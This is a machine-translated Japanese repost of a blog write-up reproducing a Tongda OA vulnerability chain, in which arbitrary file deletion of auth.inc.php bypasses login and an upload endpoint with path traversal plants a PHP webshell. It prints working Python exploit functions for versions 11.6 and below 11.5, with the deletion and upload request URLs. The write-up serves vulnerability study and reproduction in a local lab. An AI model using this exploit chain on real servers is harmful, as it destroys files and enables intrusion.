TongdaOA任意のファイルの削除/ OAの不正アクセス+任意のファイルのアップロードRCEの脆弱性の再現

0x00の紹介

Tongda OAはWEBベースのエンタープライズコンピューティングを使用し、メインHTTPサーバーは安定した信頼できるパフォーマンスを備えた世界で最も先進的なApacheサーバーを使用します。データアクセスを一元管理することで、データ漏洩の可能性を回避します。システムデータのセキュリティを保護するためのデータバックアップツールを提供します。マルチレベルの典拠コントロール、完全なパスワード検証、およびログイン検証メカニズムにより、システムのセキュリティが強化されます。

今日はトンダOAの記事をたくさん読んで、ガードネットに出てきたゼロデイ攻撃をもとに分析の波をかけました。9huのボスの分析が行われていると感じました。それでは、これをベンチマークとして、このより影響力のある脆弱性を見てください。次に、表示される脆弱性は表面的なものにすぎず、他のバージョンで以前に監査した脆弱性を含め、悪用される可能性のある脆弱性の一部は明らかに発表されていないと感じています。テクノロジーによって記述されたコードは完全ではないと常に感じています。 。、まだ改善を続ける必要があり、将来的には確実に穴を破り続けるでしょう、これは避けられません。

0x01の脆弱性の説明

この脆弱性は、print.phpに任意のファイル削除の脆弱性が存在するためです。TongdaOAID認証ファイルauth.inc.phpを削除してログイン制限を回避し、任意のファイルアップロードと組み合わせてRCEの効果を実現します。

0x02影響を受けるバージョン

 Tongda OA <v11.5&v11.6バージョン(ファイルの削除は11.6にのみ影響し、不正アクセスは<11.5に影響します)

0x03脆弱性環境の構築

1.ダウンロード:

https://cdndown.tongda2000.com/oa/2019/TDOA1​​1.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA1​​1.4.exe

2.ダブルクリックしてWindowsの直下にインストールします。OA管理者ユーザー名:管理者パスワードは空です。

[OK]をクリックしてアクセスします

OA管理者ユーザー名:adminパスワードが空
です復号化ツールSeayDzendを使用してソースコードを復号化します

Tongda OA11.6および復号化ツール:
リンク:https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARgパスワード:77ch

0x04脆弱性の再発

注意!この脆弱性により、サーバー上のファイルが削除されます。丁寧に再現!

ツールのダウンロードアドレス:

https://github.com/admintony/TongdaRCE

スクリプトを使用してファイルを削除すると、ログインは次のようになります

したがって、必ず覚えておいてください。ネットワーク環境を無差別に使用しないでください。ローカルの複製を作成してください。

tongda 11.4をインストールし、任意のファイルアップロードgetshellと組み合わせて無許可の脆弱性を使用します

getshell使用率チェーンは次のとおりです。

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

0x05脆弱性分析

インターネットで公開されているEXPから、auth.inc.phpファイルが削除されることがわかります。このファイルはTongdaによって認証に使用されます。ログインアクセスが必要なすべてのファイルに含まれます。upload.phpを含むこのファイルはインクルードされますが、requireとは異なり、includeを介してインクルードされます。インクルードファイルが存在しない場合、includeによってプログラムが終了することはありません。

次に、ファイルが削除された脆弱性ポイント/module/appbuilder/assets/print.phpを見つけます。簡単に言うと、コードの最初の6行を使用して、任意のファイルを削除できます。

GETが値guid = ../../../ webroot / inc / auth.inc.phpを渡す限り、リンクを解除することで上記の認証ファイルを削除でき、認証が必要なほとんどの場所が無効になります。

upload.phpの使用を紹介する前に、TongdaOAの祖先変数カバレッジについて説明しましょう。ここに落とし穴があります。一部の復号化ツールが$を見逃し、髪の毛がキーボードを失い、変数がどこでカバーされているのかわかりません...ファイルはcommon.inc.phpであるため、次のように考えられます。ほとんどのファイルにはインクルードがあり、ほとんどの場所は可変カバレッジで操作できます。

次に、アップロードポイント/general/data_center/utils/upload.phpを見つけます。9行目の変数オーバーライドアクションは、ディスクをifにアップロードすることであり、アップロード場所は/ data_center / attachmentです。84行目の変数はs_nを悪意のあるファイルとして上書きし、s_nでスプライスされた90行目のアップロード場所は最終ファイルの場所です。ここで、87行目のrepkidをカバーする変数は../../../であるため、ディレクトリをトラバースして、馬を他のディレクトリに配置できます。これについては後で説明します。

馬を保存するためにディレクトリを他の場所に移動する必要がある理由は、前の記事を参照してください。TongdaOAのnginxが添付ディレクトリ内のファイルのアクセス権を制限しているため、馬を正常に解析できません。〜*は通常のパターンを表し、添付ファイルで始まるPHPなどの機密ファイルは許可されません。

0x06修理の提案

最新バージョンにアップグレードします。

次のことを示してください:Adminxeのブログ »  TongdaOA任意のファイルの削除/ OAの不正アクセス+任意のファイルのアップロードRCEの脆弱性の再現

おすすめ

転載: blog.csdn.net/Adminxe/article/details/108734002